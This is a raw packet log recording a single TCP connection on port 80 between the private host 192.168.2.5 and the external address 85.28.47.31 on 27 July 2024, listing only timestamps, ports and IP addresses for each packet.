Jul 27, 2024 12:01:15.735836983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.735881090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.735898972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.735945940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.735965014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.736011028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.736030102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.736073971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.736093998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.736141920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.736159086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.736206055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.736222982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.736267090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.736287117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.736335039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.821623087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.821718931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.821762085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.821819067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.821846962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.821892977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.821913958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.821960926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.821980953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.822035074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.822062969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.822112083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.822127104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.822174072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.822191000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.822235107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.822252035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.822304964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.822330952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.822380066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.822395086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.822446108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.822472095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.822515965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.822535992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.822580099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.822599888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.822649956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.822664976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.822710037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.822727919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.822772026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.822791100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.822839022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.822858095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.822904110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.822920084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.822963953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.822983027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.823029041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.823049068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.823095083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.823116064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.823163986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.823180914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.823234081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.823260069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.823312998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.823328018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.823379040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.823405027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.823451042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.823470116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.823513985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.823533058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.823584080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.823610067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.823657036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.823673964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.823719025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.823735952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.823780060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.823798895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.823846102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.823860884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.823915005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.823940039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.823985100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.824003935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.824047089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.824086905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.824135065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.824151993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.824213028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.824229956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.824271917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.824292898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.824338913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.824354887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.824399948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.824417114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.824460983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.824501038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.824557066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.824608088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.824655056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.824688911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.824702978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.824727058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.824775934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.824804068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.824821949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.824856997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.824903965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.824920893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.824970007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.825026989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.825026989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.825062990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.825109959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.825128078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.825176001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.825191021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.825242996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.825268984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.825314999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.825333118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.825375080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.825395107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.825443983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.825469971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.825512886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.825532913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.825575113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.825594902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.825634956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.825658083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.825700998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.825720072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.825767040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.825786114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.825835943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.825861931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.825912952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.825938940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.825980902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.826001883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.826056004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.826070070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.826102018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.826128960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.826172113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.826194048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.826236963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.826256990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.826298952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.826318979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.826361895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.826381922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.826428890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.826443911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.826487064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.826508045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.826553106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.826570988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.826613903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.826632977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.826674938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.826694965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.826736927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.826775074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.826818943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.826838017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.826881886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.826901913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.826956034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.826982021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.827025890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.827044964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.827089071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.827106953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.827153921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.827172041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.827215910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.827234030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.827275991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.827301025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.827344894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.827363968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.827406883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.827429056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.827471018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.827491999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.827538967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.827554941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.827615023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.827636957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.827680111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.827701092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.827745914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.827764988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.827809095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.827826977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.827872038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.827888012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.827934980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.827951908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.828000069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.828016043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.828059912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.828078985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.828124046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.828142881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.828190088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.828210115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.828233957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.828270912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.828314066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.828332901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.828376055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.828396082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.828438044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.828459978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.828524113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.828563929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.828614950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.828648090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.828690052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.828711033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.828753948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.828773022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.828815937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.828835964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.828879118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.828897953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.828941107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.828962088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.829005003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.829027891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.829070091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.829092979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.829133987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.914509058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.914630890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.914673090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.914716005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.914762974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.914783001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.914833069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.914889097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.914917946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.914973021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.914999008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.915054083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.915070057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.915117979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.915133953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.915183067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.915199995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.915251017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.915277004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.915328979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.915342093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.915386915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.915405035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.915455103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.915471077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.915520906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.915538073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.915591002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.915617943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.915667057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.915683031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.915728092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.915745974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.915793896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.915810108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.915858030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.915873051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.915921926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.915936947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.915985107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.916002035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.916058064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.916070938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.916105986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.916132927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.916184902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.916198969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.916234016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.916259050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.916311026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.916323900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.916362047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.916384935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.916440010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.916454077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.916531086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.916580915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.916635036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.916649103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.916683912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.916707993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.916759968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.916788101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.916841984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.916855097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.916889906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.916914940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.916969061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.916995049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.917047024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.917062998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.917115927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.917129040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.917161942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.917190075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.917237043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.917252064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.917303085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.917318106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.917365074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.917382002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.917433977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.917450905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.917504072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.917516947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.917555094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.917576075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.917623997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.917639971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.917694092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.917706966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.917742968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.917764902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.917818069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.917831898 CEST	49704	80	192.168.2.5	85.28.47.31
